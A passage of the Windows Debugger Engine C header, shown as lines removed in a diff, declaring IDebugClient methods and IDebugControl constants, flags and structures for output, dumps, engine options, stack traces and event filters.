-
- // Clients are specific to the thread that
- // created them. Calls from other threads
- // fail immediately. The CreateClient method
- // is a notable exception; it allows creation
- // of a new client for a new thread.
- STDMETHOD(CreateClient)(
- THIS_
- __out PDEBUG_CLIENT* Client
- ) PURE;
-
- STDMETHOD(GetInputCallbacks)(
- THIS_
- __out PDEBUG_INPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetInputCallbacks)(
- THIS_
- __in_opt PDEBUG_INPUT_CALLBACKS Callbacks
- ) PURE;
-
- // Output callback interfaces are described separately.
- STDMETHOD(GetOutputCallbacks)(
- THIS_
- __out PDEBUG_OUTPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetOutputCallbacks)(
- THIS_
- __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks
- ) PURE;
- // Output flags provide control over
- // the distribution of output among clients.
- // Output masks select which output streams
- // should be sent to the output callbacks.
- // Only Output calls with a mask that
- // contains one of the output mask bits
- // will be sent to the output callbacks.
- // These methods are reentrant.
- // If such access is not synchronized
- // disruptions in output may occur.
- STDMETHOD(GetOutputMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOutputMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
- // These methods allow access to another clients
- // output mask. They are necessary for changing
- // a clients output mask when it is
- // waiting for events. These methods are reentrant
- // and can be called from any thread.
- STDMETHOD(GetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __in ULONG Mask
- ) PURE;
- // Control the width of an output line for
- // commands which produce formatted output.
- // This setting is just a suggestion.
- STDMETHOD(GetOutputWidth)(
- THIS_
- __out PULONG Columns
- ) PURE;
- STDMETHOD(SetOutputWidth)(
- THIS_
- __in ULONG Columns
- ) PURE;
- // Some of the engines output commands produce
- // multiple lines of output. A prefix can be
- // set that the engine will automatically output
- // for each line in that case, allowing a caller
- // to control indentation or identifying marks.
- // This is not a general setting for any output
- // with a newline in it. Methods which use
- // the line prefix are marked in their documentation.
- STDMETHOD(GetOutputLinePrefix)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PrefixSize
- ) PURE;
- STDMETHOD(SetOutputLinePrefix)(
- THIS_
- __in_opt PCSTR Prefix
- ) PURE;
-
- // Returns a string describing the machine
- // and user this client represents. The
- // specific content of the string varies
- // with operating system. If the client is
- // remotely connected some network information
- // may also be present.
- STDMETHOD(GetIdentity)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG IdentitySize
- ) PURE;
- // Format is a printf-like format string
- // with one %s where the identity string should go.
- STDMETHOD(OutputIdentity)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in PCSTR Format
- ) PURE;
-
- // Event callbacks allow a client to
- // receive notification about changes
- // during the debug session.
- STDMETHOD(GetEventCallbacks)(
- THIS_
- __out PDEBUG_EVENT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetEventCallbacks)(
- THIS_
- __in_opt PDEBUG_EVENT_CALLBACKS Callbacks
- ) PURE;
-
- // The engine sometimes merges compatible callback
- // requests to reduce callback overhead. This is
- // most noticeable with output as small pieces of
- // output are collected into larger groups to
- // reduce the overall number of output callback calls.
- // A client can use this method to force all pending
- // callbacks to be delivered. This is rarely necessary.
- STDMETHOD(FlushCallbacks)(
- THIS
- ) PURE;
-
- // IDebugClient2.
-
- // Functions similarly to WriteDumpFile with
- // the addition of the ability to specify
- // per-dump-format write control flags.
- // Comment is not supported in all formats.
- STDMETHOD(WriteDumpFile2)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier,
- __in ULONG FormatFlags,
- __in_opt PCSTR Comment
- ) PURE;
- // Registers additional files of supporting information
- // for a dump file open. This method must be called
- // before OpenDumpFile is called.
- // The files registered may be opened at the time
- // this method is called but generally will not
- // be used until OpenDumpFile is called.
- STDMETHOD(AddDumpInformationFile)(
- THIS_
- __in PCSTR InfoFile,
- __in ULONG Type
- ) PURE;
-
- // Requests that the remote process server shut down.
- STDMETHOD(EndProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
- // Waits for a started process server to
- // exit. Allows an application running a
- // process server to monitor the process
- // server so that it can tell when a remote
- // client has asked for it to exit.
- // Returns S_OK if the process server has
- // shut down and S_FALSE for a timeout.
- STDMETHOD(WaitForProcessServerEnd)(
- THIS_
- __in ULONG Timeout
- ) PURE;
-
- // Returns S_OK if the system is configured
- // to allow kernel debugging.
- STDMETHOD(IsKernelDebuggerEnabled)(
- THIS
- ) PURE;
-
- // Attempts to terminate the current process.
- // Exit process events for the process may be generated.
- STDMETHOD(TerminateCurrentProcess)(
- THIS
- ) PURE;
- // Attempts to detach from the current process.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachCurrentProcess)(
- THIS
- ) PURE;
- // Removes the process from the debuggers process
- // list without making any other changes. The process
- // will still be marked as being debugged and will
- // not run. This allows a debugger to be shut down
- // and a new debugger attached without taking the
- // process out of the debugged state.
- // This is only supported on some system versions.
- STDMETHOD(AbandonCurrentProcess)(
- THIS
- ) PURE;
-
- // IDebugClient3.
-
- STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)(
- THIS_
- __in ULONG64 Server,
- __in PCWSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescriptionWide)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PWSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PWSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- STDMETHOD(CreateProcessWide)(
- THIS_
- __in ULONG64 Server,
- __in PWSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- STDMETHOD(CreateProcessAndAttachWide)(
- THIS_
- __in ULONG64 Server,
- __in_opt PWSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
-
- // IDebugClient4.
-
- // In the following methods both a filename and a file
- // handle can be passed in. If a file handle is given
- // the filename may be omitted, although providing it
- // allows the debugger to properly report the name when
- // queried.
- // File handles cannot be used in remote calls.
- STDMETHOD(OpenDumpFileWide)(
- THIS_
- __in_opt PCWSTR FileName,
- __in ULONG64 FileHandle
- ) PURE;
- STDMETHOD(WriteDumpFileWide)(
- THIS_
- __in_opt PCWSTR FileName,
- __in ULONG64 FileHandle,
- __in ULONG Qualifier,
- __in ULONG FormatFlags,
- __in_opt PCWSTR Comment
- ) PURE;
- STDMETHOD(AddDumpInformationFileWide)(
- THIS_
- __in_opt PCWSTR FileName,
- __in ULONG64 FileHandle,
- __in ULONG Type
- ) PURE;
- // These methods can be used to retrieve
- // file information for all targets that
- // involve files.
- STDMETHOD(GetNumberDumpFiles)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetDumpFile)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Handle,
- __out PULONG Type
- ) PURE;
- STDMETHOD(GetDumpFileWide)(
- THIS_
- __in ULONG Index,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG NameSize,
- __out_opt PULONG64 Handle,
- __out PULONG Type
- ) PURE;
-
- // IDebugClient5.
-
- STDMETHOD(AttachKernelWide)(
- THIS_
- __in ULONG Flags,
- __in_opt PCWSTR ConnectOptions
- ) PURE;
- STDMETHOD(GetKernelConnectionOptionsWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG OptionsSize
- ) PURE;
- STDMETHOD(SetKernelConnectionOptionsWide)(
- THIS_
- __in PCWSTR Options
- ) PURE;
-
- STDMETHOD(StartProcessServerWide)(
- THIS_
- __in ULONG Flags,
- __in PCWSTR Options,
- __in_opt __reserved PVOID Reserved
- ) PURE;
- STDMETHOD(ConnectProcessServerWide)(
- THIS_
- __in PCWSTR RemoteOptions,
- __out PULONG64 Server
- ) PURE;
-
- STDMETHOD(StartServerWide)(
- THIS_
- __in PCWSTR Options
- ) PURE;
- STDMETHOD(OutputServersWide)(
- THIS_
- __in ULONG OutputControl,
- __in PCWSTR Machine,
- __in ULONG Flags
- ) PURE;
-
- STDMETHOD(GetOutputCallbacksWide)(
- THIS_
- __out PDEBUG_OUTPUT_CALLBACKS_WIDE* Callbacks
- ) PURE;
- STDMETHOD(SetOutputCallbacksWide)(
- THIS_
- __in PDEBUG_OUTPUT_CALLBACKS_WIDE Callbacks
- ) PURE;
- STDMETHOD(GetOutputLinePrefixWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PrefixSize
- ) PURE;
- STDMETHOD(SetOutputLinePrefixWide)(
- THIS_
- __in_opt PCWSTR Prefix
- ) PURE;
-
- STDMETHOD(GetIdentityWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG IdentitySize
- ) PURE;
- STDMETHOD(OutputIdentityWide)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in PCWSTR Format
- ) PURE;
-
- STDMETHOD(GetEventCallbacksWide)(
- THIS_
- __out PDEBUG_EVENT_CALLBACKS_WIDE* Callbacks
- ) PURE;
- STDMETHOD(SetEventCallbacksWide)(
- THIS_
- __in PDEBUG_EVENT_CALLBACKS_WIDE Callbacks
- ) PURE;
-
- STDMETHOD(CreateProcess2)(
- THIS_
- __in ULONG64 Server,
- __in PSTR CommandLine,
- __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,
- __in ULONG OptionsBufferSize,
- __in_opt PCSTR InitialDirectory,
- __in_opt PCSTR Environment
- ) PURE;
- STDMETHOD(CreateProcess2Wide)(
- THIS_
- __in ULONG64 Server,
- __in PWSTR CommandLine,
- __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,
- __in ULONG OptionsBufferSize,
- __in_opt PCWSTR InitialDirectory,
- __in_opt PCWSTR Environment
- ) PURE;
- STDMETHOD(CreateProcessAndAttach2)(
- THIS_
- __in ULONG64 Server,
- __in_opt PSTR CommandLine,
- __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,
- __in ULONG OptionsBufferSize,
- __in_opt PCSTR InitialDirectory,
- __in_opt PCSTR Environment,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- STDMETHOD(CreateProcessAndAttach2Wide)(
- THIS_
- __in ULONG64 Server,
- __in_opt PWSTR CommandLine,
- __in_bcount(OptionsBufferSize) PVOID OptionsBuffer,
- __in ULONG OptionsBufferSize,
- __in_opt PCWSTR InitialDirectory,
- __in_opt PCWSTR Environment,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
-
- // Helpers for saving and restoring the
- // current output line prefix.
- STDMETHOD(PushOutputLinePrefix)(
- THIS_
- __in_opt PCSTR NewPrefix,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(PushOutputLinePrefixWide)(
- THIS_
- __in_opt PCWSTR NewPrefix,
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(PopOutputLinePrefix)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- // Queries to determine if any clients
- // could potentially respond to the given callback.
- STDMETHOD(GetNumberInputCallbacks)(
- THIS_
- __out PULONG Count
- ) PURE;
- STDMETHOD(GetNumberOutputCallbacks)(
- THIS_
- __out PULONG Count
- ) PURE;
- STDMETHOD(GetNumberEventCallbacks)(
- THIS_
- __in ULONG EventFlags,
- __out PULONG Count
- ) PURE;
-
- // Control over locking the session against
- // undesired quits. The quit lock string
- // cannot be retrieved from a secure session.
- STDMETHOD(GetQuitLockString)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- STDMETHOD(SetQuitLockString)(
- THIS_
- __in PCSTR String
- ) PURE;
- STDMETHOD(GetQuitLockStringWide)(
- THIS_
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringSize
- ) PURE;
- STDMETHOD(SetQuitLockStringWide)(
- THIS_
- __in PCWSTR String
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugControl.
-//
-//----------------------------------------------------------------------------
-
-// Execution status codes used for waiting,
-// for returning current status and for
-// event method return values.
-#define DEBUG_STATUS_NO_CHANGE 0
-#define DEBUG_STATUS_GO 1
-#define DEBUG_STATUS_GO_HANDLED 2
-#define DEBUG_STATUS_GO_NOT_HANDLED 3
-#define DEBUG_STATUS_STEP_OVER 4
-#define DEBUG_STATUS_STEP_INTO 5
-#define DEBUG_STATUS_BREAK 6
-#define DEBUG_STATUS_NO_DEBUGGEE 7
-#define DEBUG_STATUS_STEP_BRANCH 8
-#define DEBUG_STATUS_IGNORE_EVENT 9
-#define DEBUG_STATUS_RESTART_REQUESTED 10
-#define DEBUG_STATUS_REVERSE_GO 11
-#define DEBUG_STATUS_REVERSE_STEP_BRANCH 12
-#define DEBUG_STATUS_REVERSE_STEP_OVER 13
-#define DEBUG_STATUS_REVERSE_STEP_INTO 14
-
-#define DEBUG_STATUS_MASK 0xf
-
-// This bit is added in DEBUG_CES_EXECUTION_STATUS
-// notifications when the engines execution status
-// is changing due to operations performed during
-// a wait, such as making synchronous callbacks. If
-// the bit is not set the execution status is changing
-// due to a wait being satisfied.
-#define DEBUG_STATUS_INSIDE_WAIT 0x100000000
-// This bit is added in DEBUG_CES_EXECUTION_STATUS
-// notifications when the engines execution status
-// update is coming after a wait has timed-out.
-// It indicates that the execution status change
-// was not due to an actual event.
-#define DEBUG_STATUS_WAIT_TIMEOUT 0x200000000
-
-// Output control flags.
-// Output generated by methods called by this
-// client will be sent only to this clients
-// output callbacks.
-#define DEBUG_OUTCTL_THIS_CLIENT 0x00000000
-// Output will be sent to all clients.
-#define DEBUG_OUTCTL_ALL_CLIENTS 0x00000001
-// Output will be sent to all clients except
-// the client generating the output.
-#define DEBUG_OUTCTL_ALL_OTHER_CLIENTS 0x00000002
-// Output will be discarded immediately and will not
-// be logged or sent to callbacks.
-#define DEBUG_OUTCTL_IGNORE 0x00000003
-// Output will be logged but not sent to callbacks.
-#define DEBUG_OUTCTL_LOG_ONLY 0x00000004
-// All send control bits.
-#define DEBUG_OUTCTL_SEND_MASK 0x00000007
-// Do not place output from this client in
-// the global log file.
-#define DEBUG_OUTCTL_NOT_LOGGED 0x00000008
-// Send output to clients regardless of whether the
-// mask allows it or not.
-#define DEBUG_OUTCTL_OVERRIDE_MASK 0x00000010
-// Text is markup instead of plain text.
-#define DEBUG_OUTCTL_DML 0x00000020
-
-// Special values which mean leave the output settings
-// unchanged.
-#define DEBUG_OUTCTL_AMBIENT_DML 0xfffffffe
-#define DEBUG_OUTCTL_AMBIENT_TEXT 0xffffffff
-
-// Old ambient flag which maps to text.
-#define DEBUG_OUTCTL_AMBIENT DEBUG_OUTCTL_AMBIENT_TEXT
-
-// Interrupt types.
-// Force a break in if the debuggee is running.
-#define DEBUG_INTERRUPT_ACTIVE 0
-// Notify but do not force a break in.
-#define DEBUG_INTERRUPT_PASSIVE 1
-// Try and get the current engine operation to
-// complete so that the engine will be available
-// again. If no wait is active this is the same
-// as a passive interrupt. If a wait is active
-// this will try to cause the wait to fail without
-// breaking in to the debuggee. There is
-// no guarantee that issuing an exit interrupt
-// will cause the engine to become available
-// as not all operations are arbitrarily
-// interruptible.
-#define DEBUG_INTERRUPT_EXIT 2
-
-// OutputCurrentState flags. These flags
-// allow a particular type of information
-// to be displayed but do not guarantee
-// that it will be displayed. Other global
-// settings may override these flags or
-// the particular state may not be available.
-// For example, source line information may
-// not be present so source line information
-// may not be displayed.
-#define DEBUG_CURRENT_DEFAULT 0x0000000f
-#define DEBUG_CURRENT_SYMBOL 0x00000001
-#define DEBUG_CURRENT_DISASM 0x00000002
-#define DEBUG_CURRENT_REGISTERS 0x00000004
-#define DEBUG_CURRENT_SOURCE_LINE 0x00000008
-
-//
-// Disassemble flags.
-//
-
-// Compute the effective address from current register
-// information and display it.
-#define DEBUG_DISASM_EFFECTIVE_ADDRESS 0x00000001
-// If the current disassembly offset has an exact
-// symbol match output the symbol.
-#define DEBUG_DISASM_MATCHING_SYMBOLS 0x00000002
-// Output the source line number for each disassembly offset.
-#define DEBUG_DISASM_SOURCE_LINE_NUMBER 0x00000004
-// Output the source file name (no path) for each disassembly offset.
-#define DEBUG_DISASM_SOURCE_FILE_NAME 0x00000008
-
-// Code interpretation levels for stepping
-// and other operations.
-#define DEBUG_LEVEL_SOURCE 0
-#define DEBUG_LEVEL_ASSEMBLY 1
-
-// Engine control flags.
-#define DEBUG_ENGOPT_IGNORE_DBGHELP_VERSION 0x00000001
-#define DEBUG_ENGOPT_IGNORE_EXTENSION_VERSIONS 0x00000002
-// If neither allow nor disallow is specified
-// the engine will pick one based on what kind
-// of debugging is going on.
-#define DEBUG_ENGOPT_ALLOW_NETWORK_PATHS 0x00000004
-#define DEBUG_ENGOPT_DISALLOW_NETWORK_PATHS 0x00000008
-#define DEBUG_ENGOPT_NETWORK_PATHS (0x00000004 | 0x00000008)
-// Ignore loader-generated first-chance exceptions.
-#define DEBUG_ENGOPT_IGNORE_LOADER_EXCEPTIONS 0x00000010
-// Break in on a debuggees initial event. In user-mode
-// this will break at the initial system breakpoint
-// for every created process. In kernel-mode it
-// will attempt break in on the target at the first
-// WaitForEvent.
-#define DEBUG_ENGOPT_INITIAL_BREAK 0x00000020
-// Break in on the first module load for a debuggee.
-#define DEBUG_ENGOPT_INITIAL_MODULE_BREAK 0x00000040
-// Break in on a debuggees final event. In user-mode
-// this will break on process exit for every process.
-// In kernel-mode it currently does nothing.
-#define DEBUG_ENGOPT_FINAL_BREAK 0x00000080
-// By default Execute will repeat the last command
-// if it is given an empty string. The flags to
-// Execute can override this behavior for a single
-// command or this engine option can be used to
-// change the default globally.
-#define DEBUG_ENGOPT_NO_EXECUTE_REPEAT 0x00000100
-// Disable places in the engine that have fallback
-// code when presented with incomplete information.
-// 1. Fails minidump module loads unless matching
-// executables can be mapped.
-#define DEBUG_ENGOPT_FAIL_INCOMPLETE_INFORMATION 0x00000200
-// Allow the debugger to manipulate page protections
-// in order to insert code breakpoints on pages that
-// do not have write access. This option is not on
-// by default as it allows breakpoints to be set
-// in potentially hazardous memory areas.
-#define DEBUG_ENGOPT_ALLOW_READ_ONLY_BREAKPOINTS 0x00000400
-// When using a software (bp/bu) breakpoint in code
-// that will be executed by multiple threads it is
-// possible for breakpoint management to cause the
-// breakpoint to be missed or for spurious single-step
-// exceptions to be generated. This flag suspends
-// all but the active thread when doing breakpoint
-// management and thereby avoids multithreading
-// problems. Care must be taken when using it, though,
-// as the suspension of threads can cause deadlocks
-// if the suspended threads are holding resources that
-// the active thread needs. Additionally, there
-// are still rare situations where problems may
-// occur, but setting this flag corrects nearly
-// all multithreading issues with software breakpoints.
-// Thread-restricted stepping and execution supersedes
-// this flags effect.
-// This flag is ignored in kernel sessions as there
-// is no way to restrict processor execution.
-#define DEBUG_ENGOPT_SYNCHRONIZE_BREAKPOINTS 0x00000800
-// Disallows executing shell commands through the
-// engine with .shell (!!).
-#define DEBUG_ENGOPT_DISALLOW_SHELL_COMMANDS 0x00001000
-// Turns on "quiet mode", a somewhat less verbose mode
-// of operation supported in the debuggers that were
-// superseded by dbgeng.dll. This equates to the KDQUIET
-// environment variable.
-#define DEBUG_ENGOPT_KD_QUIET_MODE 0x00002000
-// Disables managed code debugging support in the engine.
-// If managed support is already in use this flag has no effect.
-#define DEBUG_ENGOPT_DISABLE_MANAGED_SUPPORT 0x00004000
-// Disables symbol loading for all modules created
-// after this flag is set.
-#define DEBUG_ENGOPT_DISABLE_MODULE_SYMBOL_LOAD 0x00008000
-// Disables execution commands.
-#define DEBUG_ENGOPT_DISABLE_EXECUTION_COMMANDS 0x00010000
-// Disallows mapping of image files from disk for any use.
-// For example, this disallows image mapping for memory
-// content when debugging minidumps.
-// Does not affect existing mappings, only future attempts.
-#define DEBUG_ENGOPT_DISALLOW_IMAGE_FILE_MAPPING 0x00020000
-// Requests that dbgeng run DML-enhanced versions of commands
-// and operations by default.
-#define DEBUG_ENGOPT_PREFER_DML 0x00040000
-#define DEBUG_ENGOPT_ALL 0x0007FFFF
-
-// General unspecified ID constant.
-#define DEBUG_ANY_ID 0xffffffff
-
-typedef struct _DEBUG_STACK_FRAME
-{
- ULONG64 InstructionOffset;
- ULONG64 ReturnOffset;
- ULONG64 FrameOffset;
- ULONG64 StackOffset;
- ULONG64 FuncTableEntry;
- ULONG64 Params[4];
- ULONG64 Reserved[6];
- BOOL Virtual;
- ULONG FrameNumber;
-} DEBUG_STACK_FRAME, *PDEBUG_STACK_FRAME;
-
-// OutputStackTrace flags.
-// Display a small number of arguments for each call.
-// These may or may not be the actual arguments depending
-// on the architecture, particular function and
-// point during the execution of the function.
-// If the current code level is assembly arguments
-// are dumped as hex values. If the code level is
-// source the engine attempts to provide symbolic
-// argument information.
-#define DEBUG_STACK_ARGUMENTS 0x00000001
-// Displays information about the functions
-// frame such as __stdcall arguments, FPO
-// information and whatever else is available.
-#define DEBUG_STACK_FUNCTION_INFO 0x00000002
-// Displays source line information for each
-// frame of the stack trace.
-#define DEBUG_STACK_SOURCE_LINE 0x00000004
-// Show return, previous frame and other relevant address
-// values for each frame.
-#define DEBUG_STACK_FRAME_ADDRESSES 0x00000008
-// Show column names.
-#define DEBUG_STACK_COLUMN_NAMES 0x00000010
-// Show non-volatile register context for each
-// frame. This is only meaningful for some platforms.
-#define DEBUG_STACK_NONVOLATILE_REGISTERS 0x00000020
-// Show frame numbers
-#define DEBUG_STACK_FRAME_NUMBERS 0x00000040
-// Show typed source parameters.
-#define DEBUG_STACK_PARAMETERS 0x00000080
-// Show just return address in stack frame addresses.
-#define DEBUG_STACK_FRAME_ADDRESSES_RA_ONLY 0x00000100
-// Show frame-to-frame memory usage.
-#define DEBUG_STACK_FRAME_MEMORY_USAGE 0x00000200
-// Show typed source parameters one to a line.
-#define DEBUG_STACK_PARAMETERS_NEWLINE 0x00000400
-// Produce stack output enhanced with DML content.
-#define DEBUG_STACK_DML 0x00000800
-// Show offset from stack frame
-#define DEBUG_STACK_FRAME_OFFSETS 0x00001000
-
-// Classes of debuggee. Each class
-// has different qualifiers for specific
-// kinds of debuggees.
-#define DEBUG_CLASS_UNINITIALIZED 0
-#define DEBUG_CLASS_KERNEL 1
-#define DEBUG_CLASS_USER_WINDOWS 2
-#define DEBUG_CLASS_IMAGE_FILE 3
-
-// Generic dump types. These can be used
-// with either user or kernel sessions.
-// Session-type-specific aliases are also
-// provided.
-#define DEBUG_DUMP_SMALL 1024
-#define DEBUG_DUMP_DEFAULT 1025
-#define DEBUG_DUMP_FULL 1026
-#define DEBUG_DUMP_IMAGE_FILE 1027
-#define DEBUG_DUMP_TRACE_LOG 1028
-#define DEBUG_DUMP_WINDOWS_CE 1029
-
-// Specific types of kernel debuggees.
-#define DEBUG_KERNEL_CONNECTION 0
-#define DEBUG_KERNEL_LOCAL 1
-#define DEBUG_KERNEL_EXDI_DRIVER 2
-#define DEBUG_KERNEL_IDNA 3
-
-#define DEBUG_KERNEL_SMALL_DUMP DEBUG_DUMP_SMALL
-#define DEBUG_KERNEL_DUMP DEBUG_DUMP_DEFAULT
-#define DEBUG_KERNEL_FULL_DUMP DEBUG_DUMP_FULL
-
-#define DEBUG_KERNEL_TRACE_LOG DEBUG_DUMP_TRACE_LOG
-
-// Specific types of Windows user debuggees.
-#define DEBUG_USER_WINDOWS_PROCESS 0
-#define DEBUG_USER_WINDOWS_PROCESS_SERVER 1
-#define DEBUG_USER_WINDOWS_IDNA 2
-#define DEBUG_USER_WINDOWS_SMALL_DUMP DEBUG_DUMP_SMALL
-#define DEBUG_USER_WINDOWS_DUMP DEBUG_DUMP_DEFAULT
-#define DEBUG_USER_WINDOWS_DUMP_WINDOWS_CE DEBUG_DUMP_WINDOWS_CE
-
-// Extension flags.
-#define DEBUG_EXTENSION_AT_ENGINE 0x00000000
-
-// Execute and ExecuteCommandFile flags.
-// These flags only apply to the command
-// text itself; output from the executed
-// command is controlled by the output
-// control parameter.
-// Default execution. Command is logged
-// but not output.
-#define DEBUG_EXECUTE_DEFAULT 0x00000000
-// Echo commands during execution. In
-// ExecuteCommandFile also echoes the prompt
-// for each line of the file.
-#define DEBUG_EXECUTE_ECHO 0x00000001
-// Do not log or output commands during execution.
-// Overridden by DEBUG_EXECUTE_ECHO.
-#define DEBUG_EXECUTE_NOT_LOGGED 0x00000002
-// If this flag is not set an empty string
-// to Execute will repeat the last Execute
-// string.
-#define DEBUG_EXECUTE_NO_REPEAT 0x00000004
-
-// Specific event filter types. Some event
-// filters have optional arguments to further
-// qualify their operation.
-#define DEBUG_FILTER_CREATE_THREAD 0x00000000
-#define DEBUG_FILTER_EXIT_THREAD 0x00000001
-#define DEBUG_FILTER_CREATE_PROCESS 0x00000002
-#define DEBUG_FILTER_EXIT_PROCESS 0x00000003
-// Argument is the name of a module to break on.
-#define DEBUG_FILTER_LOAD_MODULE 0x00000004
-// Argument is the base address of a specific module to break on.
-#define DEBUG_FILTER_UNLOAD_MODULE 0x00000005
-#define DEBUG_FILTER_SYSTEM_ERROR 0x00000006
-// Initial breakpoint and initial module load are one-shot
-// events that are triggered at the appropriate points in
-// the beginning of a session. Their commands are executed
-// and then further processing is controlled by the normal
-// exception and load module filters.
-#define DEBUG_FILTER_INITIAL_BREAKPOINT 0x00000007
-#define DEBUG_FILTER_INITIAL_MODULE_LOAD 0x00000008
-// The debug output filter allows the debugger to stop
-// when output is produced so that the code causing
-// output can be tracked down or synchronized with.
-// This filter is not supported for live dual-machine
-// kernel debugging.
-#define DEBUG_FILTER_DEBUGGEE_OUTPUT 0x00000009
-
-// Event filter execution options.
-// Break in always.
-#define DEBUG_FILTER_BREAK 0x00000000
-// Break in on second-chance exceptions. For events
-// that are not exceptions this is the same as BREAK.
-#define DEBUG_FILTER_SECOND_CHANCE_BREAK 0x00000001
-// Output a message about the event but continue.
-#define DEBUG_FILTER_OUTPUT 0x00000002
-// Continue the event.
-#define DEBUG_FILTER_IGNORE 0x00000003
-// Used to remove general exception filters.
-#define DEBUG_FILTER_REMOVE 0x00000004
-
-// Event filter continuation options. These options are
-// only used when DEBUG_STATUS_GO is used to continue
-// execution. If a specific go status such as
-// DEBUG_STATUS_GO_NOT_HANDLED is used it controls
-// the continuation.
-#define DEBUG_FILTER_GO_HANDLED 0x00000000
-#define DEBUG_FILTER_GO_NOT_HANDLED 0x00000001
-
-// Specific event filter settings.
-typedef struct _DEBUG_SPECIFIC_FILTER_PARAMETERS
-{
- ULONG ExecutionOption;
- ULONG ContinueOption;
- ULONG TextSize;
- ULONG CommandSize;
- // If ArgumentSize is zero this filter does
- // not have an argument. An empty argument for
- // a filter which does have an argument will take
- // one byte for the terminator.
- ULONG ArgumentSize;
-} DEBUG_SPECIFIC_FILTER_PARAMETERS, *PDEBUG_SPECIFIC_FILTER_PARAMETERS;
-
-// Exception event filter settings.
-typedef struct _DEBUG_EXCEPTION_FILTER_PARAMETERS
-{
- ULONG ExecutionOption;
- ULONG ContinueOption;
- ULONG TextSize;
- ULONG CommandSize;
- ULONG SecondCommandSize;
- ULONG ExceptionCode;
-} DEBUG_EXCEPTION_FILTER_PARAMETERS, *PDEBUG_EXCEPTION_FILTER_PARAMETERS;
-
-// Wait flags.
-#define DEBUG_WAIT_DEFAULT 0x00000000
-
-// Last event information structures.
-typedef struct _DEBUG_LAST_EVENT_INFO_BREAKPOINT
-{
- ULONG Id;
-} DEBUG_LAST_EVENT_INFO_BREAKPOINT, *PDEBUG_LAST_EVENT_INFO_BREAKPOINT;
-
-typedef struct _DEBUG_LAST_EVENT_INFO_EXCEPTION
-{
- EXCEPTION_RECORD64 ExceptionRecord;
- ULONG FirstChance;
-} DEBUG_LAST_EVENT_INFO_EXCEPTION, *PDEBUG_LAST_EVENT_INFO_EXCEPTION;
-
-typedef struct _DEBUG_LAST_EVENT_INFO_EXIT_THREAD
-{
- ULONG ExitCode;
-} DEBUG_LAST_EVENT_INFO_EXIT_THREAD, *PDEBUG_LAST_EVENT_INFO_EXIT_THREAD;
-
-typedef struct _DEBUG_LAST_EVENT_INFO_EXIT_PROCESS
-{
- ULONG ExitCode;
-} DEBUG_LAST_EVENT_INFO_EXIT_PROCESS, *PDEBUG_LAST_EVENT_INFO_EXIT_PROCESS;
-
-typedef struct _DEBUG_LAST_EVENT_INFO_LOAD_MODULE
-{
- ULONG64 Base;
-} DEBUG_LAST_EVENT_INFO_LOAD_MODULE, *PDEBUG_LAST_EVENT_INFO_LOAD_MODULE;
-
-typedef struct _DEBUG_LAST_EVENT_INFO_UNLOAD_MODULE
-{
- ULONG64 Base;
-} DEBUG_LAST_EVENT_INFO_UNLOAD_MODULE, *PDEBUG_LAST_EVENT_INFO_UNLOAD_MODULE;
-
-typedef struct _DEBUG_LAST_EVENT_INFO_SYSTEM_ERROR
-{
- ULONG Error;
- ULONG Level;
-} DEBUG_LAST_EVENT_INFO_SYSTEM_ERROR, *PDEBUG_LAST_EVENT_INFO_SYSTEM_ERROR;
-
-// DEBUG_VALUE types.
